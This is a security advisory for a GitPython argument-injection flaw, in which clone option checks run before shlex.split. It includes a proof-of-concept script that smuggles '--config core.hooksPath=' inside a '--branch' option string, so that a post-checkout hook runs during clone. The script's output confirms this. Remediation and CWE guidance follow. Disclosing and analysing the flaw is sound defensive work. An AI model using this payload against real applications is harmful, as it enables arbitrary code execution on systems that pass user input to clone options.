Skip to content

GHSA-x2qx-6953-8485 CVE-2026-42284 PYSEC-2026-2161

GitPython: Unsafe option check validates multi_options before shlex.split transformation

Critical PyPI
Severity
8.1 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
0.57%
Chance of exploitation in the next 30 days. Higher than 47.27% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Fix
3.1.47
Upgrade gitpython to this version or later

Description

Summary

_clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.

Details

The vulnerable code is in git/repo/base.py line 1383:

multi = shlex.split(" ".join(multi_options))

Then validation runs on the original list at line 1390:

Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)

Then execution uses the transformed result at line 1392:

proc = git.clone(multi, "--", url, path, ...)

The check at git/cmd.py line 959 uses startswith:

if option.startswith(unsafe_option) or option == bare_option:

"--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git.

Also affects Submodule.update() via clone_multi_options.

PoC

import sys, pathlib, subprocess
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))

from git import Repo
from git.exc import UnsafeOptionError

try:
    Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])
except UnsafeOptionError:
    print("multi_options=['--config', '...']: Block as expected")
except Exception:
    pass

DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"
SRC = DIR / "repo"
DST = DIR / "dst"
HOOKS = DIR / "hooks"
LOG = DIR / "output.log"

if not SRC.exists():
    SRC.mkdir(parents=True)
    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)
    r("git", "init", "-b", "main")
    (SRC / "f").write_text("x\n")
    r("git", "add", ".")
    r("git", "commit", "-m", "init")

HOOKS.mkdir(exist_ok=True)
hook = HOOKS / "post-checkout"
hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")
hook.chmod(0o755)

LOG.unlink(missing_ok=True)
payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()

try:
    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])
except UnsafeOptionError:
    print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)
except Exception:
    pass

if not LOG.exists() and DST.exists():
    subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)

print(f"multi_options=['{payload}']: not blocked")
print(f"\nHook executed: {LOG.exists()}")
if LOG.exists():
    print(LOG.read_text().strip())

Output:

multi_options=['--config', '...']: Block as expected
multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked

Hook executed: True
texugo
DESKTOP-5w5HH79

Impact

Any application passing user input to multi_options in clone_from(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

Affected versions

PyPI

PackageVulnerableFixed in
gitpython
< 3.1.47
3.1.47

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

gitpython PyPI → 3.1.47

pip
pip install --upgrade "gitpython>=3.1.47"
poetry
poetry add "gitpython>=3.1.47"
uv
uv add "gitpython>=3.1.47"

Severity breakdown

CVSS 3.1 8.1

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.

How to prevent it
  • Implementation: Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.
  • Architecture and Design: Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
  • Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
  • Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-83vg-56qc-22m7
GitPython validates a submodule's ".git" path only after cloning into it (RCE)
High Also affects gitpython
GHSA-gq48-pqfc-9p58
GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree
Medium Also affects gitpython
GHSA-23mf-xhv8-69c2
GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)
High Also affects gitpython
GHSA-f9j4-qggq-h239
GitPython Remote.pull() refspec bypasses the --upload-pack unsafe-option guard, enabling arbitrary command execution
Critical Also affects gitpython
GHSA-w8jc-g24h-crhw
GitPython command wrappers omit unsafe protocol and option checks
High Also affects gitpython
GHSA-m64x-33q8-m5h7
GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines
High Also affects gitpython
GHSA-fx3j-rwgx-fr94
GitPython: separate_git_dir leaks env vars via crafted .gitmodules submodule name
High Also affects gitpython
GHSA-59cr-6r3x-644w
GitPython submodule update path traversal can write outside the repository
Medium Also affects gitpython
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor